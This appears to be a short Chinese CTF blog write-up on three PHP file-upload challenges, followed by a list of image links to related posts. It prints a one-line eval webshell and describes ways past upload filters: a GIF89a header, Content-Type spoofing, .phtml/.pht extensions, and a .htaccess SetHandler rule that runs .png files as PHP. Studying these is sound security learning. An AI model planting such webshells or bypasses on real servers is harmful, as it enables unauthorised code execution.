[极客大挑战 2019]Upload
打开环境，是上传一句话木马的题
先上传1.php试试，发现不可以
试试改后缀为phtml，提示语句中不能包含<?，只能改木马：
<script language="php">eval($_POST['line']);</script>还是报错没有图片
传一个真正的不含<?的图片马（还是报错）
想到用文件头GIF89a绕过，bp抓包修改，终于上传成功
在文件内容的起始位置加上一个GIF89a，文件就会被认为是一个图片。
连接蚁剑，注意修改路径（一般为upload/文件名）
在根目录得flag
[ACTF2020 新生赛]Upload
文件上传一句话木马
试试1.php，弹窗提示
抓包修改Type为jpg图片，文件后缀名可用.pht
上传成功，得到路径
连接蚁剑，得到flag。
[MRCTF2020]你传你🐎呢
上传1.php文件
bp抓包后，尝试多种绕过方式都不行
（1）发现可以用路径拼接绕过
（2）偶然上传了代码如下的png文件，发现也能上传成功
<script language="php">eval($_POST['line']);</script>
使用.htaccess文件将png解析为php
格式：application/octet-stream
SetHandler application/x-httpd-php .png //.htaccess文件内容
连接蚁剑，在根目录下得到flag
![[ACTF<span style='color:red;'>2020</span> <span style='color:red;'>新生</span><span style='color:red;'>赛</span>]BackupFile 1 [<span style='color:red;'>极</span><span style='color:red;'>客</span><span style='color:red;'>大</span><span style='color:red;'>挑战</span> <span style='color:red;'>2019</span>]BuyFlag 1 [护网杯 <span style='color:red;'>2018</span>]easy_tornado 1](https://img-blog.csdnimg.cn/direct/fe7bf79d13a14833b12ecc682df1eee6.png)
![[MRCTF<span style='color:red;'>2020</span>]<span style='color:red;'>你</span><span style='color:red;'>传</span><span style='color:red;'>你</span><span style='color:red;'>呢</span>1](https://img-blog.csdnimg.cn/direct/49f2c1e61585476c85019ba9c090e723.png)
![[MRCTF<span style='color:red;'>2020</span>]<span style='color:red;'>你</span><span style='color:red;'>传</span><span style='color:red;'>你</span><span style='color:red;'>呢</span> 1](https://img-blog.csdnimg.cn/direct/b31abcf42ae546f0ad26ad94f0fa283a.png)
![BUUCTF---[MRCTF<span style='color:red;'>2020</span>]<span style='color:red;'>你</span><span style='color:red;'>传</span><span style='color:red;'>你</span><span style='color:red;'>呢</span>1](https://img-blog.csdnimg.cn/direct/8f6d683d091840879c093b62e9576676.png)
![[<span style='color:red;'>极</span><span style='color:red;'>客</span><span style='color:red;'>大</span><span style='color:red;'>挑战</span> <span style='color:red;'>2019</span>]BuyFlag1](https://img-blog.csdnimg.cn/direct/3744c6ce931345e2a9aada0c266072a8.png#pic_center)
![[<span style='color:red;'>极</span><span style='color:red;'>客</span><span style='color:red;'>大</span><span style='color:red;'>挑战</span> <span style='color:red;'>2019</span>]BabySQL1](https://img-blog.csdnimg.cn/direct/e8a1269f609146108a23009842fedc59.png)
![[<span style='color:red;'>极</span><span style='color:red;'>客</span><span style='color:red;'>大</span><span style='color:red;'>挑战</span> <span style='color:red;'>2019</span>]LoveSQL1](https://img-blog.csdnimg.cn/direct/c8e9f46667b44dc2a8da02a3d0ce427d.png)
![[<span style='color:red;'>极</span><span style='color:red;'>客</span><span style='color:red;'>大</span><span style='color:red;'>挑战</span><span style='color:red;'>2019</span>]upload](https://img-blog.csdnimg.cn/direct/d7fb463f10944993a70723969e8ed6a2.png)
![[C++/STL]模板进阶](https://img-blog.csdnimg.cn/direct/275222cca3ed4689b26959c8b0405ea9.png)
